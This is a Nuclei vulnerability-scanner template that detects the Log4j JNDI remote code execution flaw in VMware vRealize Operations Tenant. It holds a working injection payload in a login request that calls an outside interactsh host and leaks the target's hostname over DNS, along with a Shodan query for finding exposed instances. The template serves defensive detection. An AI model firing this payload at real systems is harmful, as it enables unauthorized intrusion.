nuclei-templates/http/vulnerabilities/vmware/vrealize-operations-log4j-rce.yaml

id: vrealize-operations-log4j-rce

info:
  name: VMware vRealize Operations Tenant - JNDI Remote Code Execution (Apache Log4j)
  author: bughuntersurya
  severity: critical
  description: |
    VMware vRealize Operations is susceptible to a critical vulnerability in Apache Log4j which may allow remote code execution in an impacted vRealize Operations Tenant application.
  reference:
    - https://www.vmware.com/security/advisories/VMSA-2021-0028.html
    - https://core.vmware.com/vmsa-2021-0028-questions-answers-faq
    - https://nvd.nist.gov/vuln/detail/CVE-2021-44228
    - https://nvd.nist.gov/vuln/detail/CVE-2021-45046
    - https://logging.apache.org/log4j/2.x/security.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2021-44228
    cwe-id: CWE-77
  metadata:
    max-request: 1
    shodan-query: http.title:"vRealize Operations Tenant App"
    verified: true
  tags: cve,cve2021,oast,rce,log4j,vmware,vrealize,kev

variables:
  rand1: '{{rand_int(111, 999)}}'
  rand2: '{{rand_int(111, 999)}}'

http:
  - raw:
      - |
        POST /suite-api/api/auth/token/acquire HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Origin: {{RootURL}}
        Referer: {{RootURL}}/ui/

        {"username":"${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.username.{{interactsh-url}}}","password":"admin"}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"  # Confirms the DNS Interaction

      - type: regex
        part: interactsh_request
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'   # Print extracted ${:-{{rand1}}}${:-{{rand2}}}.${hostName} in output

    extractors:
      - type: kval
        kval:
          - interactsh_ip # Print remote interaction IP in output

      - type: regex
        part: interactsh_request
        group: 2
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'   # Print injection point in output

      - type: regex
        part: interactsh_request
        group: 1
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'   # Print extracted ${:-{{rand1}}}${:-{{rand2}}}.${hostName} in output